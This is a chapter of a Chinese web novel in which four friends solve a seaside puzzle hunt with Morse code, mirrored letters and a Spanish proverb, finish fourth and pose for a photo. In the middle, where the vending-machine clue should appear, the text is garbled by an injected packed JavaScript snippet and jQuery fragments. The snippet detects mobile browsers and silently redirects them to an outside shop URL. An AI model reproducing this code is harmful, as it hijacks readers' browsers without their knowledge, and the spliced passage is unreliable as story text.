码头泊靠区。


    白云悠悠，水天一色，游船和渔船错落排列。群鸥盘旋船尾，偶有几只停落桅杆，发出的嘹亮鸣叫回荡码头上空。


    面对一排排大小船舶，俞一诗直接傻眼：“这……要怎么找呢？”


    樊望宇以手指轻抵下巴，垂眸思索道：“bollards……码头缆桩这么多，一个个搜肯定不现实，得找找附近有没有特殊标记……唔？”


    注意到她直勾勾地盯着自己，他不禁好奇地抬眼，“怎么了？”


    “没什么，见你玩得这么开心，我就放心啦！”俞一诗由衷地喜悦，“一开始我还怕你觉得这游戏无聊呢，看来是我多虑啦，还好叫上了你，不然错过活动多可惜！”


    “是……是吗？”樊望宇一愣，不自觉地脸颊微红，“我看起来很开心？”


    “嗯！”俞一诗笑眯眯地点头，“这些谜题刚好是你擅长的领域吧？不像我，不太了解西方神话，只知道塞壬是海妖，背后的故事完全不清楚……我这样是不是有点孤陋寡闻啊？”


    “怎么会？这又不是必修知识。”樊望宇不由莞尔，“传说塞壬的歌声具有魔力，能穿透海洋，迷惑水手，让船只触礁沉没。奥德修斯为了抵挡诱惑，就命令手下用蜡封住耳朵，把自己绑在桅杆上，这才带领船队成功渡海。”


    俞一诗听完，却慢慢地垂下眼帘，自嘲一笑：“如果世上真有能穿透空间的声音，就算耳朵封蜡恐怕也没用，声音会直接穿透耳膜，钻进脑子里的。”


    “就比如……”


    樊望宇忽然低低开口，微暗的眸光依稀泛起波澜，“你听见的那些，不想听的声音？”


    俞一诗蓦然失神。


    海风阵阵吹来，掀动了舷边的缆绳，铁制锚链敲击着船身，不断发出“哐当哐当”的响声，仿佛一种无言的催促。


    怔然良久，她才僵笑着问：“望宇，你这句话是什么意思？……”


    樊望宇默默看她，很快露出一抹微笑：“没别的意思，我们不是在说塞壬的歌声吗？”


    “也、也是哈。”俞一诗干涩地弯弯嘴角，匆忙掉头走开，“我说你怎么莫名奇妙说这些，我们还是赶紧找找线索在哪里吧。”


    “……”


    樊望宇站于原地未动，目光追随她离去的背影，瞳孔里的色泽却愈发深沉。


    *


    “一诗他们在干什么啊，怎么这么慢？”


    何灵娜在码头外无聊等待，一边忍不住噘嘴碎碎念：“难道他们还没找到？有樊少在，不应该啊……难不成！”


    不顾程云瞥来的疑惑视线，她捂脸惊讶，“因为难得有机会独处，他们俩就只顾卿卿我我，而忘记任务……噫！”


    何灵娜说到一半才惊觉不对，于是赶紧掩嘴，小心翼翼地瞟向程云。


    程云此时倚靠墙面，微微垂首，不知在沉思什么，眼尾上挑的弧度因此低敛下来。几缕碎发散落前额，投下深深浅浅的暗影，也将他眼中说不清道不明的情绪全部掩盖。


    “灵娜，程云！”


    就在这时，俞一诗招着手跑了过来：“不好意思久等了，我们已经找到暗号了！”


    “快点快点！”何灵娜迫不及待地找出照片，和俞一诗一起比对，“我和程云在浮雕下发现一个印有B字母图案的花盆，上面贴了一张像花边一样的纸条！你们呢？”


    “我们也是！”俞一诗点开相册，“我们找到一个系着游艇的揽桩，船上用红油漆画了一个L字母，字母下面也有类似的图案，望宇说这是摩斯密码！”


    何灵娜欣喜地打了个响指：“和我们想的一样，就是摩斯密码！只要把两个线索合在一起，就能知道下一个地点了！”


    于是乎，他们把两个类似的花边拼在一起，得到了以下一串符号：


    【=-=-=--==-=-=-】


    “KRA、KEN，Kraken，克拉肯！”何灵娜指向海图上的大章鱼，“下面的标注是Oracle……什么意思？”


    “神谕，预言，智者，能提供建议的人或事物，来源于古希腊。”樊望宇答道，“附近又没有遗迹或宗教场所，不知道还有什么地方能和这个词联系起来。”


    “那我大概懂了！”何灵娜放大手机地图，“在魔幻作品里，这类词一般会绑定智慧元素，附近与智慧相关的地点，只有一个——是书店！”


    随后，四人赶到这一家名为“太阳书坊”的网红书咖，当看见店老板戴了一顶船长帽时，他们就知道找对地方了。


    从店门向里望去，最显眼的便是一座精心布置的展书台，台上摆了一块手绘立牌，内容耐人寻味：


    【夏日章鱼烧！】


    ——太阳书咖×海洋阅读企划——


    用章鱼的智慧，抓住夏天的灵感吧！


    推荐书单：


    《海洋中的天才》(中学生科普)


    《臭脾气的章鱼先生》(儿童绘本)


    《神奇的蛸》(自然科学)


    《望潮》(青春文学)


    “章鱼，就是指克拉肯吧？”何灵娜扶着眼镜凑近立牌，“提示一定就在这张海报里……找到了，最底下这句话很奇怪哦！”


    剩下三人一起弯腰察看，果不其然在海报右下角发现了一行小字：


    【Only AUM laughs at mirrors.】


    “AUM？”樊望宇少见得出现了迷惑，“什么意思？‘资产管理规模’？”


    何灵娜托起下巴思忖：“只有AUM会嘲笑镜子？……”


    “应该是指AUM是三个轴对称字母，所以不怕镜子反转。”程云道，“那下一个关键词，除了AUM，其余字母必定不是轴对称的，可以排除掉I、T、X这些了。”


    “那还是有很多个啊，要这么找？我想想，镜子镜子……”俞一诗东张西望，猛然发现斜对角有一面装饰镜，“难道是书店里面的镜子吗？”


    俞一诗走到挂满绿萝的镜子前，仔细观察了一下，通过反射，她一眼就能看见背后的书架、地球仪、老式收音机，以及……


    一幅小小的视力表。


    此视力表与众不同，其视标并非常规的E字，而是由0、2、3 数字组成的符号。左下角还画了一只卡通章鱼医生，拿着放大镜，说：“检查前记得准备好镜子哦！”


    “AUM，023，镜子……”程云皱眉沉吟，乍然灵光一闪，“是不是提示上面的数字要反过来看？和0类似的字母有O、D，和2类似的是S，和3类似的是E，O是轴对称不怕镜子，pass，那只剩下D、S和E了。”


    “AUMDSE……”何灵娜如拨云见日，眼光渐明，“我知道了，是MEDUSA，美杜莎！”


    “快看美杜莎下面是什么提示？！”


    众人兴奋不已，异口同声地问。


    “提示……”何灵娜翻看海图，怔了一怔，“没有提示，下面是空白的？”


    空白？


    俞一诗讶然：“那要怎么确定具体地点？”


    “我知道啦，一定是镜子！”何灵娜计上心来，胜券在握般一笑，“说不定海图上隐藏有机关，需要用镜子反射太阳光来破解，就像反射美杜莎的石化光线一样！”


    话间，她打开随身折叠镜，怼到了美杜莎的标记面前——


    无事发生。


    “……”


    “想也知道，一个小成本策划，怎么可能浪费钱做这么复杂的工艺？肯定只是张普通的纸而已。”樊望宇无语道。


    何灵娜万念俱灰：“有道理。”


    “怕什么，小成本自然有小成本的处理方式。”程云从取出笔，再拿过何灵娜的海图，领着众人找位置坐下，“还是用珀尔修斯的盾牌来破解暗号吧。”


    “珀尔修斯的盾牌？”何灵娜坐他旁边一知半解。


    “对，不过得靠你找到盾牌。”程云把笔递给何灵娜，“这图里有没有涉及镜子、反射、盾牌这些元素的图案？”


    “唔……”


    何灵娜盯紧海图，冥思苦想，视线一路扫到海图下方，总算有了重大发现，“你们看！是不是这个？右下角的生命之泉边有一朵水仙花！”


    樊望宇即时想明白了：“水仙花？爱上水中倒影的纳西索斯吗，确实和镜子有点关联。”


    程云扬起唇角，拿回笔，在美杜莎和生命之泉中间画了一道斜线：“接下来就是小学级别的画图作业了。我们把泉水当做镜子，根据已知的反射光线倒画出入射光线，再一直延长，直到……”


    他骤然停下笔，“这里，一只蓝色的鸟。”


    “Bennu，贝努鸟！”何灵娜一眼就认出了它，“古埃及神话中代表太阳的神鸟！”


    而贝努鸟下方出现的提示，是Cab。


    “Cab，内阁？”樊望宇大为不解。


    “柜子啦。”程云忍不住鄙视他，“你老想得这么高大上做什么？”


    “……”


    何灵娜则自言自语：“导航显示的地点在公路桥靠海方向，这么说来我们就是要找到放在桥上的储藏柜咯？”


    程云赞同：“而且秉承着不打扰市政的原则，主办方肯定会把柜子放在桥底，这应该就最后的提示地点了。”


    “OK！那我们出发！”


    *


    滨海公路天桥。


    天桥横跨内港水道，由于隔绝了日光，桥墩下充斥着难闻的潮腥气。周围除了蛮生的荒草、废弃的马达，以及违停的汽车外，几乎见不到什么显眼物品。


    何灵娜作为领队，一面走一面左顾右盼：“柜子……柜子……啊。”


    四人的目光，同时落到桥墩边一台自动售货机上。


    这台老式自动售货机积满灰尘，三个按键已经缺失，而剩下的按键，原本印着商品编号的位置被贴纸盖住，还被用油性笔写上几个字母。


    取货口处，贴了一张做旧气泡水海报，其上仅印了一句广告语。


    【一切空白皆留在曾经的时间里。】


    “什么意思？”何灵娜一头雾水，只好把空白键和字母键从左至右抄下来：


    【_LT


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17384701|187289||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    I_MPO_SORO】


    樊望宇凝视那串字符，蹙眉“唔”了一声：“我怎么觉得这些字母有点眼熟？”


    “曾经的时间……填空题吧？”程云扭头问何灵娜，“我们之前拿过什么线索来着？”


    “Siren、Behemoth、Leviathan、Kraken、Medusa、Bennu……”何灵娜把怪物名字一个个写了出来，“莫非这些怪物之间有什么共同点？还是说它们能够连成什么图案？”


    俞一诗也在揣摩：“我比较笨，想不到太深层的东西，光看表面话，大概就是每个词都含有字母a……不对，e吧。”


    “E？”樊望宇一愣，刹那间有了灵感，一把夺过何灵娜的纸笔，“等等，不如我们把E全部填进去看看？”


    话音刚落，他便已补好空白，使纸上呈现出一串完整字母：


    【ELTIEMPOESORO】


    “……什么东西啊？”何灵娜横竖没看懂，“这又是什么密码，我们还要继续破译？”


    程云拿出手机：“可能是别国的语言，我上网查一下。”


    “不用查了，西班牙语。”樊望宇直接读了出来，“‘El tiempo es oro’，一寸光阴一寸金，直译‘时间就是金子’。”


    “原来如此，金子啊！”程云饶有趣味地笑道，“这么说下个地点就是终点站喽？因为已经找到宝藏了嘛。”


    “时间！”何灵娜恍然大悟，打开海图四处搜寻，“里面能代表时间的东西是……”


    “就是这个啦，沙漏！”俞一诗第一个找到了谜底，“然后下面写的提示是Halloween？”


    “沙漏提示的地点是尼尔德花园度假酒店，现在又没到10月，酒店不可能布置什么主题展，所以大概率是指酒店房号吧。”樊望宇淡然解释，“不然作为一个终点站，就这么堂而皇之地摆设在大堂里，未免也太显眼了。”


    “太棒了，胜利就在眼前了！”


    何灵娜卷起海图，激动不已地朝前一挥，“冲吧，船员们！去往最后的地点——尼尔德酒店，1031号房！”


    ……


    “什么？！”


    1031号房里，何灵娜不敢置信地一拍桌子：“我们居然只是第四名？！”


    “是的，恭喜你们成功抵达终点！”工作人员小姐姐露出营业微笑，“虽然与前三名失之交臂，但你们依然以优异成绩脱颖而出！作为优胜队伍，你们将获得专属游戏限定皮肤、稀有称号，以及印有队伍名称的精美证书一份！再次祝贺你们！”


    何灵娜瞠目结舌：“不可能啊，我们动作已经很快了，一路上都没看到别的队伍！你们真的不是搞错了？”


    “不好意思，确实有三队人比你们先到，我们有监控可以作证的。”


    “怎么这样……”何灵娜失望地喃喃。


    “哦。”程云在后面沉默几秒，了然一挑眉，“果然有可能会发生这种事。”


    “不。”旁边的樊望宇一抽嘴角，干笑道，“应该说这种事才是常规操作吧。”


    直至离开酒店，四人还是保持木然的神色，缓步走着一言不发。


    “……我觉得我们被耍了。”


    何灵娜无神地望着手里那份荣誉证书，“亏我之前还这么期待，连书柜放模型的位置都腾出来了，结果只拿到了这个，这不就是一张废纸吗？”


    “算啦，放宽心！”俞一诗拍拍她安慰道，“就算不是暗箱操作，那也证明有人比我们还强，能拿到游戏礼包也不错嘛！”


    “可就这么回去我不甘心啊……”


    何灵娜有气无力地抬头，眺望远处无边无际的海洋，下一秒，倏地眼前一亮。


    不顾众人的困惑，她两三步小跑到前方，欣然叫住一个游客女孩：“不好意思，小姐姐！可以麻烦你帮我们几个拍张照吗？”


    “好啊！”女孩接过手机一口答应。


    “咦？”樊望宇见状不禁僵住，“要……拍照吗？”


    俞一诗立刻把想避开的他拉了回来：“有什么关系！你也是我们的队员啊，哪有团队拍照不一起的道理！”


    程云在一旁说风凉话：“就是，偶像包袱这么重，当心以后一诗翻相册时只想起我而想不起你喽。”


    樊望宇瞪了他一眼，叹气，认命地后退一步，然后抬高帽檐，以释然的目光正视镜头。


    “这可是历史性的一刻！”


    何灵娜跑回队伍高举右手，眉飞色舞地道，“超自然事件调查队，全员注意！看镜头！”


    “来，要拍咯。”路人女孩笑盈盈地举起手机，“大家笑一笑吧，三、二、一！”


    “茄子！”


    何灵娜双手捧起证书，俞一诗则搂着她肩膀，比了个剪刀手。


    而在笑容灿烂的少女们身旁，两位少年双手插兜，一左一右地站着，脸上虽然故作平静，眼里却不自觉流露出了温柔的笑意。


    咔嚓！


    海岸线闪烁着银白与蔚蓝的光，美好的时光，就此定格在这一瞬。